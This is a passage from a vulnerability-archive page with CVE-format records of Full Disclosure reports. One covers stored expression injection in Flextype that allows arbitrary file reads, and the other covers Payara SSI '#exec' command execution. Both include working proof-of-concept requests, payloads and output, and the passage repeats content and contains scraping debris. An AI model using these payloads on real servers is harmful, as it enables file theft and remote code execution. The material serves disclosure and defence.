*\n\n{\"title\":\"root:x:0:0:root:/root:/bin/bash\\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\\nsync:x:4:65534:sync:/bin:/bin/sync\\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\\nlist:x:38:38:Mailing\nList \nManager:/var/list:/usr/sbin/nologin\\nirc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin\\n_apt:x:42:65534::/nonexistent:/usr/sbin/nologin\\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\\n\",\"content\":\"created\nthrough API\",\"slug\":\"expr-api-proof\",\"visibility\":\"visible\",\"id\":\"expr-api-proof\"}\n\nProof of Concept \u2014 Expression Persistence\n\nInspection of the resulting Flextype entry demonstrates that the expression\nitself is persisted on disk rather than being replaced by the evaluated\n/etc/passwd contents:\n\nrealpath: /app/project/entries/expr-api-proof/entry.md\n---\n---\ntitle: \"[[ filesystem().file(\u0027/etc/passwd\u0027).get() ]]\"\npublished_by: \u0027\u0027\ncreated_by: \u0027\u0027\nuuid: 15420ada-de60-4bc6-b7b2-387df908e0e3\n---\ncreated through API\n\nThis demonstrates that the expression remains part of the stored entry and\nis not limited to a reflected or one-time expression evaluation condition.\nProof of Concept \u2014 Stored Expression Evaluation\n\nThe stored entry can subsequently be retrieved using its normal entry\nidentifier without resupplying the expression:\n\nGET /api/v1/entries?token=lab-token\u0026id=expr-api-proof HTTP/1.1\nHost: 127.0.0.1:18080\n\nFlextype evaluates the expression previously stored within the entry and\nreturns the resulting /etc/passwd contents:\n\nHTTP/1.1 200 OK\nHost: 127.0.0.1:18080\nDate: Mon, 31 Aug 2026 01:49:16 GMT\nConnection: close\nX-Powered-By: PHP/8.1.34\nContent-Type: application/json;charset=UTF-8\nContent-Length: 1141\nAccess-Control-Allow-Origin: *\n\n{\"title\":\"root:x:0:0:root:/root:/bin/bash\\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\\nsync:x:4:65534:sync:/bin:/bin/sync\\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\\nlist:x:38:38:Mailing\nList \nManager:/var/list:/usr/sbin/nologin\\nirc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin\\n_apt:x:42:65534::/nonexistent:/usr/sbin/nologin\\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\\n\",\"content\":\"created\nthrough API\",\"slug\":\"expr-api-proof\",\"visibility\":\"visible\",\"id\":\"expr-api-proof\"}\n\nThe GET request contains only the normal entry identifier. The expression\nresponsible for the file read originates from the previously persisted\nentry data and is evaluated during subsequent entry processing.\nRoot Cause\n\nThe vulnerability occurs because Flextype treats stored entry content as\nexecutable expression syntax during normal entry processing.\n\nSpecifically:\n\nif (is_string($field[\u0027value\u0027])) {\n    $field[\u0027value\u0027] = parsers()-\u003eexpressions()-\u003eparse($field[\u0027value\u0027], $vars);\n}\n\nThere is no trust-boundary distinction between ordinary\nattacker-controllable entry content and trusted application expressions\nbefore the field value reaches the expression parser.\n\nAs a result, data supplied through an entry-management interface can\ntransition from stored application content into executable server-side\nexpression syntax.\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T13:03:53Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/20"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Sep/20"
        },
        {
          "url": "https://awilum.github.io"
        },
        {
          "url": "https://github.com/ob1sec"
        },
        {
          "url": "https://linkedin.com/in/yourhandle"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.linkedin.com/in/ronedgerson1"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Sep/20"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "Flextype v1.0.0-alpha.3 Stored Arbitrary Expression Injection in ExpressionsDirective Allows Arbitrary File Read",
      "x_gcve": [
        {
          "recordType": "analysis",
          "relationships": [
            {
              "destId": "CVE-2026-77939",
              "type": "possibly_related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0178",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/20",
            "automated": true,
            "contentSha256": "4ef4571772099f511d4658f6df8f223d6c77b7b835548b20ea9e9e9cf1cfbd4f",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/20",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-08-31T02:09:12Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0178"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T07:25:42Z",
    "dateUpdated": "2026-09-09T13:03:53Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0178"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GCVE-1988-2026-0008

Vulnerability from gna-1988 – Published: 2026-09-07 06:42 – Updated: 2026-09-09 13:03
VLAI
Title
Flextype v1.0.0-alpha.3 Stored Arbitrary Expression Injection in ExpressionsDirective Allows Arbitrary File Read
Summary
Description Flextype CMS v1.0.0-alpha.3 contains a stored arbitrary expression injection vulnerability in the Entries ExpressionsDirective. An authenticated remote attacker with sufficient privileges to create or modify entries can persist arbitrary expression syntax within an entry field. When the affected field is subsequently retrieved or processed, Flextype passes the stored value to parsers()->expressions()->parse(), causing the attacker-controlled expression to be evaluated server-side. The expression environment exposes application functionality including the filesystem() object. An attacker can therefore store an expression that accesses arbitrary files readable by the Flextype PHP process. Testing confirmed exploitation by storing an expression referencing /etc/passwd within an entry's title field. The expression remained persisted within the underlying entry file and was evaluated when the entry was processed, resulting in disclosure of /etc/passwd. This represents a stored execution path because the expression itself crosses the persistence boundary and remains within the entry rather than requiring the attacker to supply the complete expression during each subsequent request. Impact An authenticated remote attacker can persist arbitrary expressions within Flextype entry fields that are subsequently evaluated by the server-side expression engine. The demonstrated vulnerability allows arbitrary files accessible to the Flextype PHP process to be read. This could expose sensitive server-side information including application configuration files, credentials, API keys, database connection information, source code, operating-system information, and other secrets available to the application account. Because the malicious expression is persisted within the entry, subsequent processing of the affected field can cause the expression to be evaluated again. Additional impact may be possible depending on the objects and functionality exposed to the expression environment. DetailsVulnerable Expressions Directive Implementation Flextype registers an onEntriesFetchSingleField listener responsible for processing expressions contained within individual entry fields. When expression directives and global expression processing are enabled, the implementation retrieves the current entry field, constructs variables from the entry data, and passes string field values directly to the expression parser. <?php declare(strict_types=1); /** * Flextype - Hybrid Content Management System with the freedom of a headless CMS * and with the full functionality of a traditional CMS! * * Copyright (c) Sergey Romanenko (https://awilum.github.io) * * Licensed under The MIT License. * * For full copyright and license information, please see the LICENSE * Redistributions of files must retain the above copyright notice. */ namespace Flextype\Entries\Directives; use function Glowy\Strings\strings; use function Flextype\emitter; use function Flextype\entries; use function Flextype\parsers; use function Flextype\registry; use function Flextype\collection; // Directive: [[ ]] [% %] [# #] emitter()->addListener('onEntriesFetchSingleField', static function (): void { if (! registry()->get('flextype.settings.entries.directives.expressions.enabled')) { return; } if (! registry()->get('flextype.settings.entries.directives.expressions.enabled_globally')) { return; } $field = entries()->registry()->get('methods.fetch.field'); if (is_string($field['value']) && strings($field['value'])->contains('!expressions')) { return; } $vars = []; // Convert entry fields to vars. foreach (json_decode(json_encode((object) entries()->registry()->get('methods.fetch.result')), false) as $key => $value) { $vars[$key] = $value; } if (is_string($field['value'])) { $field['value'] = parsers()->expressions()->parse($field['value'], $vars); } entries()->registry()->set('methods.fetch.field.key', $field['key']); entries()->registry()->set('methods.fetch.field.value', $field['value']); }); The security-sensitive operation occurs when the stored field value is passed directly to the expression parser: if (is_string($field['value'])) { $field['value'] = parsers()->expressions()->parse($field['value'], $vars); } Proof of Concept — Store Arbitrary Expression An authenticated attacker can create an entry through /api/v1/entries and supply expression syntax within an attacker-controlled field. The following request places a filesystem() expression within the title field that reads /etc/passwd: POST /api/v1/entries HTTP/1.1 Host: 127.0.0.1:18080 Content-Type: application/json {"token":"lab-token","access_token":"password","id":"expr-api-proof","data":{"title":"[[ filesystem().file('/etc/passwd').get() ]]","content":"created through API"}} The application evaluates the supplied expression and returns the contents of /etc/passwd: HTTP/1.1 200 OK Host: 127.0.0.1:18080 Date: Mon, 31 Aug 2026 01:49:16 GMT Connection: close X-Powered-By: PHP/8.1.34 Content-Type: application/json;charset=UTF-8 Content-Length: 1141 Access-Control-Allow-Origin: * {"title":"root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin\n_apt:x:42:65534::/nonexistent:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n","content":"created through API","slug":"expr-api-proof","visibility":"visible","id":"expr-api-proof"} Proof of Concept — Expression Persistence Inspection of the resulting Flextype entry demonstrates that the expression itself is persisted on disk rather than being replaced by the evaluated /etc/passwd contents: realpath: /app/project/entries/expr-api-proof/entry.md --- --- title: "[[ filesystem().file('/etc/passwd').get() ]]" published_by: '' created_by: '' uuid: 15420ada-de60-4bc6-b7b2-387df908e0e3 --- created through API This demonstrates that the expression remains part of the stored entry and is not limited to a reflected or one-time expression evaluation condition. Proof of Concept — Stored Expression Evaluation The stored entry can subsequently be retrieved using its normal entry identifier without resupplying the expression: GET /api/v1/entries?token=lab-token&id=expr-api-proof HTTP/1.1 Host: 127.0.0.1:18080 Flextype evaluates the expression previously stored within the entry and returns the resulting /etc/passwd contents: HTTP/1.1 200 OK Host: 127.0.0.1:18080 Date: Mon, 31 Aug 2026 01:49:16 GMT Connection: close X-Powered-By: PHP/8.1.34 Content-Type: application/json;charset=UTF-8 Content-Length: 1141 Access-Control-Allow-Origin: * {"title":"root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin\n_apt:x:42:65534::/nonexistent:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n","content":"created through API","slug":"expr-api-proof","visibility":"visible","id":"expr-api-proof"} The GET request contains only the normal entry identifier. The expression responsible for the file read originates from the previously persisted entry data and is evaluated during subsequent entry processing. Root Cause The vulnerability occurs because Flextype treats stored entry content as executable expression syntax during normal entry processing. Specifically: if (is_string($field['value'])) { $field['value'] = parsers()->expressions()->parse($field['value'], $vars); } There is no trust-boundary distinction between ordinary attacker-controllable entry content and trusted application expressions before the field value reaches the expression parser. As a result, data supplied through an entry-management interface can transition from stored application content into executable server-side expression syntax. Ron Edgerson Vulnerability Researcher & Exploit Developer CVE Research | Binary Exploitation | Application & Systems Security Responsible Disclosure • Proof-of-Concept Development 🌐 https://github.com/ob1sec 🔗 https://www.linkedin.com/in/ronedgerson1 <https://linkedin.com/in/yourhandle> _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Impacted products
Vendor Product Version
Flextype Flextype Affected: unknown
Create a notification for this product.
Credits

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Flextype",
          "vendor": "Flextype",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Ron E"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Description\n\nFlextype CMS v1.0.0-alpha.3 contains a stored arbitrary expression\ninjection vulnerability in the Entries ExpressionsDirective. An\nauthenticated remote attacker with sufficient privileges to create or\nmodify entries can persist arbitrary expression syntax within an entry\nfield. When the affected field is subsequently retrieved or processed,\nFlextype passes the stored value to parsers()-\u003eexpressions()-\u003eparse(),\ncausing the attacker-controlled expression to be evaluated server-side.\n\nThe expression environment exposes application functionality including the\nfilesystem() object. An attacker can therefore store an expression that\naccesses arbitrary files readable by the Flextype PHP process. Testing\nconfirmed exploitation by storing an expression referencing /etc/passwd\nwithin an entry\u0027s title field. The expression remained persisted within the\nunderlying entry file and was evaluated when the entry was processed,\nresulting in disclosure of /etc/passwd.\n\nThis represents a stored execution path because the expression itself\ncrosses the persistence boundary and remains within the entry rather than\nrequiring the attacker to supply the complete expression during each\nsubsequent request.\nImpact\n\nAn authenticated remote attacker can persist arbitrary expressions within\nFlextype entry fields that are subsequently evaluated by the server-side\nexpression engine.\n\nThe demonstrated vulnerability allows arbitrary files accessible to the\nFlextype PHP process to be read. This could expose sensitive server-side\ninformation including application configuration files, credentials, API\nkeys, database connection information, source code, operating-system\ninformation, and other secrets available to the application account.\n\nBecause the malicious expression is persisted within the entry, subsequent\nprocessing of the affected field can cause the expression to be evaluated\nagain. Additional impact may be possible depending on the objects and\nfunctionality exposed to the expression environment.\n\nDetailsVulnerable Expressions Directive Implementation\n\nFlextype registers an onEntriesFetchSingleField listener responsible for\nprocessing expressions contained within individual entry fields.\n\nWhen expression directives and global expression processing are enabled,\nthe implementation retrieves the current entry field, constructs variables\nfrom the entry data, and passes string field values directly to the\nexpression parser.\n\n\u003c?php\n\ndeclare(strict_types=1);\n\n/**\n * Flextype - Hybrid Content Management System with the freedom of a\nheadless CMS\n * and with the full functionality of a traditional CMS!\n *\n * Copyright (c) Sergey Romanenko (https://awilum.github.io)\n *\n * Licensed under The MIT License.\n *\n * For full copyright and license information, please see the LICENSE\n * Redistributions of files must retain the above copyright notice.\n */\n\nnamespace Flextype\\Entries\\Directives;\n\nuse function Glowy\\Strings\\strings;\nuse function Flextype\\emitter;\nuse function Flextype\\entries;\nuse function Flextype\\parsers;\nuse function Flextype\\registry;\nuse function Flextype\\collection;\n\n// Directive: [[ ]] [% %] [# #]\nemitter()-\u003eaddListener(\u0027onEntriesFetchSingleField\u0027, static function (): void {\n\n    if (! registry()-\u003eget(\u0027flextype.settings.entries.directives.expressions.enabled\u0027))\n{\n        return;\n    }\n\n    if (! registry()-\u003eget(\u0027flextype.settings.entries.directives.expressions.enabled_globally\u0027))\n{\n        return;\n    }\n\n    $field = entries()-\u003eregistry()-\u003eget(\u0027methods.fetch.field\u0027);\n\n    if (is_string($field[\u0027value\u0027]) \u0026\u0026\nstrings($field[\u0027value\u0027])-\u003econtains(\u0027!expressions\u0027)) {\n        return;\n    }\n\n    $vars = [];\n\n    // Convert entry fields to vars.\n    foreach (json_decode(json_encode((object)\nentries()-\u003eregistry()-\u003eget(\u0027methods.fetch.result\u0027)), false) as $key =\u003e\n$value) {\n        $vars[$key] = $value;\n    }\n\n    if (is_string($field[\u0027value\u0027])) {\n        $field[\u0027value\u0027] =\nparsers()-\u003eexpressions()-\u003eparse($field[\u0027value\u0027], $vars);\n    }\n\n    entries()-\u003eregistry()-\u003eset(\u0027methods.fetch.field.key\u0027, $field[\u0027key\u0027]);\n    entries()-\u003eregistry()-\u003eset(\u0027methods.fetch.field.value\u0027, $field[\u0027value\u0027]);\n});\n\nThe security-sensitive operation occurs when the stored field value is\npassed directly to the expression parser:\n\nif (is_string($field[\u0027value\u0027])) {\n    $field[\u0027value\u0027] = parsers()-\u003eexpressions()-\u003eparse($field[\u0027value\u0027], $vars);\n}\n\nProof of Concept \u2014 Store Arbitrary Expression\n\nAn authenticated attacker can create an entry through /api/v1/entries and\nsupply expression syntax within an attacker-controlled field.\n\nThe following request places a filesystem() expression within the title\nfield that reads /etc/passwd:\n\nPOST /api/v1/entries HTTP/1.1\nHost: 127.0.0.1:18080\nContent-Type: application/json\n\n{\"token\":\"lab-token\",\"access_token\":\"password\",\"id\":\"expr-api-proof\",\"data\":{\"title\":\"[[\nfilesystem().file(\u0027/etc/passwd\u0027).get() ]]\",\"content\":\"created through\nAPI\"}}\n\nThe application evaluates the supplied expression and returns the contents\nof /etc/passwd:\n\nHTTP/1.1 200 OK\nHost: 127.0.0.1:18080\nDate: Mon, 31 Aug 2026 01:49:16 GMT\nConnection: close\nX-Powered-By: PHP/8.1.34\nContent-Type: application/json;charset=UTF-8\nContent-Length: 1141\nAccess-Control-Allow-Origin: *\n\n{\"title\":\"root:x:0:0:root:/root:/bin/bash\\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\\nsync:x:4:65534:sync:/bin:/bin/sync\\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\\nlist:x:38:38:Mailing\nList \nManager:/var/list:/usr/sbin/nologin\\nirc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin\\n_apt:x:42:65534::/nonexistent:/usr/sbin/nologin\\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\\n\",\"content\":\"created\nthrough API\",\"slug\":\"expr-api-proof\",\"visibility\":\"visible\",\"id\":\"expr-api-proof\"}\n\nProof of Concept \u2014 Expression Persistence\n\nInspection of the resulting Flextype entry demonstrates that the expression\nitself is persisted on disk rather than being replaced by the evaluated\n/etc/passwd contents:\n\nrealpath: /app/project/entries/expr-api-proof/entry.md\n---\n---\ntitle: \"[[ filesystem().file(\u0027/etc/passwd\u0027).get() ]]\"\npublished_by: \u0027\u0027\ncreated_by: \u0027\u0027\nuuid: 15420ada-de60-4bc6-b7b2-387df908e0e3\n---\ncreated through API\n\nThis demonstrates that the expression remains part of the stored entry and\nis not limited to a reflected or one-time expression evaluation condition.\nProof of Concept \u2014 Stored Expression Evaluation\n\nThe stored entry can subsequently be retrieved using its normal entry\nidentifier without resupplying the expression:\n\nGET /api/v1/entries?token=lab-token\u0026id=expr-api-proof HTTP/1.1\nHost: 127.0.0.1:18080\n\nFlextype evaluates the expression previously stored within the entry and\nreturns the resulting /etc/passwd contents:\n\nHTTP/1.1 200 OK\nHost: 127.0.0.1:18080\nDate: Mon, 31 Aug 2026 01:49:16 GMT\nConnection: close\nX-Powered-By: PHP/8.1.34\nContent-Type: application/json;charset=UTF-8\nContent-Length: 1141\nAccess-Control-Allow-Origin: *\n\n{\"title\":\"root:x:0:0:root:/root:/bin/bash\\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\\nsync:x:4:65534:sync:/bin:/bin/sync\\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\\nlist:x:38:38:Mailing\nList \nManager:/var/list:/usr/sbin/nologin\\nirc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin\\n_apt:x:42:65534::/nonexistent:/usr/sbin/nologin\\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\\n\",\"content\":\"created\nthrough API\",\"slug\":\"expr-api-proof\",\"visibility\":\"visible\",\"id\":\"expr-api-proof\"}\n\nThe GET request contains only the normal entry identifier. The expression\nresponsible for the file read originates from the previously persisted\nentry data and is evaluated during subsequent entry processing.\nRoot Cause\n\nThe vulnerability occurs because Flextype treats stored entry content as\nexecutable expression syntax during normal entry processing.\n\nSpecifically:\n\nif (is_string($field[\u0027value\u0027])) {\n    $field[\u0027value\u0027] = parsers()-\u003eexpressions()-\u003eparse($field[\u0027value\u0027], $vars);\n}\n\nThere is no trust-boundary distinction between ordinary\nattacker-controllable entry content and trusted application expressions\nbefore the field value reaches the expression parser.\n\nAs a result, data supplied through an entry-management interface can\ntransition from stored application content into executable server-side\nexpression syntax.\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T13:03:53Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/20"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Sep/20"
        },
        {
          "url": "https://awilum.github.io"
        },
        {
          "url": "https://github.com/ob1sec"
        },
        {
          "url": "https://linkedin.com/in/yourhandle"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.linkedin.com/in/ronedgerson1"
        },
        {
          "url": "news:x:9:9:news:/var/spool/news:/usr/sbin/nologin\\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\\nlist:x:38:38:Mailing"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Sep/20"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "Flextype v1.0.0-alpha.3 Stored Arbitrary Expression Injection in ExpressionsDirective Allows Arbitrary File Read",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0008",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/20",
            "automated": true,
            "contentSha256": "4ef4571772099f511d4658f6df8f223d6c77b7b835548b20ea9e9e9cf1cfbd4f",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/20",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-08-31T02:09:12Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-07T06:42:13Z",
    "dateUpdated": "2026-09-09T13:03:53Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0008"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GCVE-1988-2026-0007

Vulnerability from gna-1988 – Published: 2026-09-07 06:42 – Updated: 2026-09-09 13:03
VLAI
Title
Payara 7.2026.1.RC1 Remote Code Execution via Server-Side Includes #exec Directive in Payara Server
Summary
*Description:* Payara Server contains a vulnerability in its Server-Side Includes (SSI) implementation that allows arbitrary operating system command execution via the #exec directive. The issue occurs because user-controlled SSI directives are passed directly to Runtime.exec() without validation, sanitization, or restriction. An attacker who can cause the server to process an SSI file (e.g., .shtml) can execute arbitrary OS commands with the privileges of the Payara process. This vulnerability results in remote code execution when SSI processing is enabled and accessible. *Affected Product:* - Payara Server (Community & Enterprise) - Affects versions where: - Server-Side Includes (SSI) are enabled - SSIExec command handling is available - #exec cmd is not explicitly disabled *Impact:* - Successful exploitation allows an attacker to: - Execute arbitrary OS commands - Read/write files on the server - Install backdoors or persistence mechanisms - Pivot to internal networks - Fully compromise the host system *Root Cause:* *The vulnerability exists in the following class:* org.apache.catalina.ssi.SSIExec *Specifically, the process() method executes untrusted input directly:* else if (paramName.equalsIgnoreCase("cmd")) { Runtime rt = Runtime.getRuntime(); Process proc = rt.exec(substitutedValue); *Proof of Concept (PoC):* *Malicious SSI File:* <!-- poc.shtml --> <html> <body> <h2>SSI Exec Test</h2> <pre> <!--#exec cmd="id" --> </pre> </body> </html> *Deployment:* jar cf ssitest.war . $PAYARA_HOME/bin/asadmin deploy --force=true ssitest.war *Payload:* curl http://localhost:8080/ssitest/poc.shtml *Output:* <html> <body> <h2>SSI Exec Test</h2> <pre> uid=0(root) gid=0(root) groups=0(root) </pre> </body> </html> Ron Edgerson Vulnerability Researcher & Exploit Developer CVE Research | Binary Exploitation | Application & Systems Security Responsible Disclosure • Proof-of-Concept Development 🌐 https://github.com/ob1sec 🔗 https://www.linkedin.com/in/ronedgerson1 <https://linkedin.com/in/yourhandle> _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Impacted products
Vendor Product Version
Payara Payara Affected: unknown
Create a notification for this product.
Credits

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Payara",
          "vendor": "Payara",
          "versions": [
            {
              "status": "affected",
